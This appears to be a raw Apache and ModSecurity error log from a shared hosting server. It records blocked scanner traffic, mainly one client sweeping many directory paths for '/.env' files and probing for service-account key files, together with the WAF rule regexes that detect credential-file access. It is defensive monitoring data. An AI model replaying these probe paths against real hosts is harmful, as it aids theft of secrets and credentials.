"Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zO9yTkdrNlD40tSGzWgAAMls"] [Sat Jun 13 18:18:03.441215 2026] [security2:error] [pid 646876:tid 647111] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/prestashop/.env"] [unique_id "ai3zO9yTkdrNlD40tSGzXAAAAGc"] [Sat Jun 13 18:18:03.547356 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.13:49321] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:03.547818 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.13:49321] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:03.570002 2026] [security2:error] [pid 648189:tid 648443] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/file/flock_basic.phpt"] [unique_id "ai3zO1WSojQL4F7upKBq-gAAAN0"] [Sat Jun 13 18:18:03.577975 2026] [security2:error] [pid 646876:tid 647078] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/preview-env/.env"] [unique_id "ai3zO9yTkdrNlD40tSGzYgAAAEY"] [Sat Jun 13 18:18:03.602569 2026] [security2:error] [pid 646876:tid 646948] [remote 17.241.219.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zO9yTkdrNlD40tSGzZAAAPUU"] [Sat Jun 13 18:18:03.714824 2026] [security2:error] [pid 646876:tid 647088] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/preview/.env"] [unique_id "ai3zO9yTkdrNlD40tSGzZgAAAFA"] [Sat Jun 13 18:18:03.732104 2026] [security2:error] [pid 648189:tid 648280] [remote 17.246.19.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zO1WSojQL4F7upKBrAAAAozo"] [Sat Jun 13 18:18:03.800188 2026] [security2:error] [pid 648189:tid 648260] [remote 17.246.19.44:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zO1WSojQL4F7upKBrAQAA0CY"] [Sat Jun 13 18:18:03.852698 2026] [security2:error] [pid 646876:tid 647079] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/price_hawk_client/.env"] [unique_id "ai3zO9yTkdrNlD40tSGzagAAAEc"] [Sat Jun 13 18:18:03.859567 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.88:58494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:03.860023 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.88:58494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:03.888513 2026] [access_compat:error] [pid 646876:tid 646996] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:03.888954 2026] [access_compat:error] [pid 646876:tid 646996] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:03.905628 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.22:51792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:03.906065 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.22:51792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:03.927127 2026] [security2:error] [pid 648189:tid 648261] [remote 17.22.237.23:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zO1WSojQL4F7upKBrCAAA5Cc"] [Sat Jun 13 18:18:03.941441 2026] [security2:error] [pid 646876:tid 646946] [remote 114.119.151.133:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "farmerlizer.com"] [uri "/bvm/videos-america-de-cali-v-atletico-junior-v-es-co-1thq-i3.php"] [unique_id "ai3zO9yTkdrNlD40tSGzcwAAPEM"], referer: https://farmerlizer.com/bvm/videos-america-de-cali-v-atletico-junior-v-es-co-1thq-i3.php?roroe [Sat Jun 13 18:18:03.954045 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDU= [Sat Jun 13 18:18:03.954483 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDU= [Sat Jun 13 18:18:03.994237 2026] [security2:error] [pid 646876:tid 647029] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/prisma/.env"] [unique_id "ai3zO9yTkdrNlD40tSGzdAAAABU"] [Sat Jun 13 18:18:04.058060 2026] [security2:error] [pid 648189:tid 648274] [remote 50.87.144.107:57264] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "digitise.africa"] [uri "/wp-login.php"] [unique_id "ai3zPFWSojQL4F7upKBrCwAApzQ"] [Sat Jun 13 18:18:04.279920 2026] [security2:error] [pid 646876:tid 647038] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/processor/.env"] [unique_id "ai3zPNyTkdrNlD40tSGzgAAAAB4"] [Sat Jun 13 18:18:04.298561 2026] [security2:error] [pid 646876:tid 647124] [client 114.119.139.59:32595] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "impromptufridaynights.com"] [uri "/we-all-have-a-cross-to-bear/"] [unique_id "ai3zPNyTkdrNlD40tSGzggAAAHQ"], referer: http://impromptufridaynights.com/blog-3/page/11/ [Sat Jun 13 18:18:04.403163 2026] [access_compat:error] [pid 648189:tid 648312] [remote 57.141.14.24:34064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:04.403425 2026] [access_compat:error] [pid 648189:tid 648312] [remote 57.141.14.24:34064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:04.484573 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:04.484993 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:04.492569 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.34:38072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:04.493015 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.34:38072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:04.518543 2026] [security2:error] [pid 648189:tid 648315] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "mail.lthssolar.com"] [uri "/key.json"] [unique_id "ai3zPFWSojQL4F7upKBrGQAAx10"] [Sat Jun 13 18:18:04.565305 2026] [security2:error] [pid 646876:tid 647106] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/prod/.env"] [unique_id "ai3zPNyTkdrNlD40tSGzhwAAAGI"] [Sat Jun 13 18:18:04.719128 2026] [security2:error] [pid 648189:tid 648330] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 1). Match of "rx ^/llms.txt" against "REQUEST_URI" required. [file "/opt/mod_security/hg_rules.conf"] [line "588"] [id "999814"] [msg "Misbehaving AI Crawler"] [hostname "mail.lthssolar.com"] [uri "/serviceAccountKey.json"] [unique_id "ai3zPFWSojQL4F7upKBrIQAAiWs"] [Sat Jun 13 18:18:04.849944 2026] [security2:error] [pid 646876:tid 647022] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/projbackend/.env"] [unique_id "ai3zPNyTkdrNlD40tSGzlQAAAA4"] [Sat Jun 13 18:18:04.984312 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:18:04.984802 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:18:04.987516 2026] [security2:error] [pid 646876:tid 647015] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/project/.env"] [unique_id "ai3zPNyTkdrNlD40tSGzmgAAAAc"] [Sat Jun 13 18:18:04.997532 2026] [security2:error] [pid 648189:tid 648223] [remote 17.22.253.139:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zPFWSojQL4F7upKBrJwAAvwM"] [Sat Jun 13 18:18:05.026854 2026] [security2:error] [pid 648189:tid 648296] [remote 17.246.15.246:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 246.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zPVWSojQL4F7upKBrKAAA6ko"] [Sat Jun 13 18:18:05.125703 2026] [security2:error] [pid 646876:tid 647117] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/project_root/.env"] [unique_id "ai3zPdyTkdrNlD40tSGzngAAAG0"] [Sat Jun 13 18:18:05.261827 2026] [security2:error] [pid 646876:tid 647061] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/protected/.env"] [unique_id "ai3zPdyTkdrNlD40tSGzpAAAADU"] [Sat Jun 13 18:18:05.399222 2026] [security2:error] [pid 646876:tid 647091] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/psnlink/.env"] [unique_id "ai3zPdyTkdrNlD40tSGzqQAAAFM"] [Sat Jun 13 18:18:05.493925 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvcG93ZXI= [Sat Jun 13 18:18:05.494193 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvcG93ZXI= 